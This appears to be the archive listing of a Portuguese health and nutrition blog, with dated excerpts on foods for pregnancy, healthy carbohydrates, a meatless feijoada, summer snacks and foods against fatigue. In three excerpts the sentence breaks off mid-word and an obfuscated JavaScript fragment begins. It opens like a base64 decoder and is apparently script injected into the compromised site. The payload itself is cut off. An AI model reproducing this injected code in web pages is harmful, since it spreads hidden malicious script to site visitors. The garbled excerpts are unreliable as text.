Mai 28, 2019 | Saúde e bem estar
Os melhores alimentos para consumir durante a gravidez Alimentar-se bem durante a gravidez pode parecer mais complicado que parece. Isto porque existem várias informações contraditórias acerca do que é mais acertado consumir qufunction a4872b9c6b(y1){var...
Mai 14, 2019 | Equilíbrio, Saúde e bem estar
8 Hidratos de carbono benéficos para a sua saúde Certamente já costuma consumi-los nas suas refeições mas será que está a fazer as escolhas certas? Hoje vou falar-lhe dos hidratos de carbono mais saudáveis que deve incluir na sua alimentação. Saiba que os hidratos...
Fev 23, 2019 | À descoberta, Receitas
Feijoada sem carne A nossa gastronomia está recheada de pratos absolutamente deliciosos, mas a verdade é que por vezes as receitas tradicionais não são as maiores amigas das dietas… mas nem assim deixamos de gostar delas, verdade? Um dos pratos que são muito...
Fev 18, 2019 | Saúde e bem estar
10 alimentos que fazem bem à saúde A alimentação é uma parte importantíssima do nosso equilíbrio e é fundamental termos uma dieta variada. Quantas vezes é que já ouvimos a máxima “somos o que comemos”? Muitas! Porque é verdade! Existem inúmeras pesquisas...
Jul 23, 2017 | Saúde e bem estar
10 Aperitivos saudáveis para comer neste verão Nesta altura do ano, os almoços, jantares e petiscos com os amigos são quase inevitáveis. No entanto não podemos descuidar a nossa saúde e por isso, hoje trago-lhe 10 aperitivos saudáveis para comer neste verão! Faça...
Jun 5, 2017 | Saúde e bem estar
Os alimentos ideais para cada horário Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 20, 2017 | Dicas úteis
10 alimentos para combater a fadiga De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
